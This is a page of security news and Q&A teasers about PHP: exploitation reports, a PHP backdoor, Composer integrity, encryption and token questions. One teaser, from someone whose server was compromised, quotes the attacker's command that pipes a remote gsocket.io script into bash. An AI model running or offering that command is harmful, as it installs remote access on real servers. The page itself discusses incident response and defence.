Collaborate Disseminate
GreyNoise warns of mass exploitation of a critical vulnerability in PHP leading to remote code execution on vulnerable servers.
The post Mass Exploitation of Critical PHP Vulnerability Begins appeared first on SecurityWeek.
Continue reading Mass Exploitation of Critical PHP Vulnerability Begins
Does PHP’s Composer package manager cryptographically validate its payload’s authentication and integrity for all packages after downloading them and before installing them?
I see a lot of guides providing installation instructions with st… Continue reading Does PHP’s Composer provide cryptographic authentication and integrity validation?
Apiiro security researchers have released open source tools that can help organizations detect malicious code as part of their software development lifecycle: PRevent (a scanner for pull requests), and a malicious code detection ruleset for Semgrep and… Continue reading PRevent: Open-source tool to detect malicious code in pull requests
I have a situation where a webserver behind a network firewall is ran inside of Docker containers. It is setup in this order:
Caddy webserver – acts as WAF, GEOIP block, IP blacklist, HTTP Security Headers modifications, TLS termination, … Continue reading Is reducing the webserver stack from Caddy, NGINX and PHP-FPM to only Caddy and PHP-FPM a reduction in layered-security?
Known as Glutton, researchers at QiAnXin’s XLab believe Winnti is responsible for the malware.
The post PHP backdoor looks to be work of Chinese-linked APT group appeared first on CyberScoop.
Continue reading PHP backdoor looks to be work of Chinese-linked APT group
I need to encrypt and decrypt some passwords in PHP. Normally I would hash them, but I need to be able to decrypt them again because they’re keys for an external service.
I googled around a bit, but the examples I found seem a little bit i… Continue reading Are my basic implemetations of AES-CBC and AES-GCM in PHP secure?
My customer server has been compromised. They running this script by the PHP script
bash -c "$(curl -fsSL https://gsocket.io/x)"
and I have several folder in /tmp file as below
-rw——- 1 *** *** 153310 Sep 30 12:07 phpb0wrlJ
… Continue reading Removing Gsocket.io connection from server [duplicate]
If you remember a time when TV news sets universally incorporated a room full of clattering wire service teleprinters to emphasize the seriousness of the news business, congratulations — you’re …read more Continue reading Dot-Matrix Printer Brings Old School Feel to Today’s Headlines
I’m hosting a website on a free hosting provider server that uses PHP for OTP-based authentication. Here’s how it works:
If an unregistered IP address visits the site, it shows an "Unauthorized" message.
For registered IPs, the… Continue reading Is my TOTP key secure on a free hosting provider server with FTP and .htaccess restrictions?
I am creating an exericse for my users, where I am trying to tell them that using mt_rand() is not a good option from security point of view. What I did is that I showed them a normal user who gets a password reset email, the token is gene… Continue reading Usage of Mt_Rand in PHP